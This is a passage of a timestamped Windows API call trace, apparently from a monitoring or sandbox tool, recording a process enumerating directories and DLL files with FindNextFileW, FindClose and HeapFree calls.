	[0074.153] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0074.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.155] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0074.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.157] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0074.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.159] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0074.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.161] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0074.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.163] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1
	[0074.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.166] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0074.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.168] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0074.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.170] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0074.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.475] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0074.475] FindClose (in: hFindFile=0x5e0970 | out: hFindFile=0x5e0970) returned 1
	[0074.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0074.476] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1
	[0074.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0074.478] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1
	[0074.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0074.484] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1
	[0074.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0074.487] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0
	[0074.487] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0074.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0074.487] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0074.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0074.492] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1
	[0074.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.495] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1
	[0074.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.501] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1
	[0074.501] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.501] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1
	[0074.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0074.503] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0074.503] FindClose (in: hFindFile=0x5e0670 | out: hFindFile=0x5e0670) returned 1
	[0074.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0074.503] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0074.503] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0074.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x432c228 | out: hHeap=0x4f0000) returned 1
	[0074.505] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0074.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0074.552] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0074.552] FindClose (in: hFindFile=0x5e0530 | out: hFindFile=0x5e0530) returned 1
	[0074.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0074.552] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1
	[0074.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0074.986] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0074.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0074.989] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1
	[0074.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0074.989] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0
	[0074.989] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0074.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0074.989] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1
	[0074.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43ae648 | out: hHeap=0x4f0000) returned 1
	[0074.992] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0
	[0074.993] FindClose (in: hFindFile=0x5e0770 | out: hFindFile=0x5e0770) returned 1
	[0074.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0074.993] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0
	[0074.993] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0074.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0074.995] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0074.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0074.999] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0075.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.003] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0075.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.008] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325ee10 | out: lpFindFileData=0x325ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0
	[0075.008] FindClose (in: hFindFile=0x5e0770 | out: hFindFile=0x5e0770) returned 1
	[0075.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0075.012] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1
	[0075.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0075.016] FindNextFileW (in: hFindFile=0x5e0530, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1
	[0075.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0075.022] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1
	[0075.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0075.213] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0
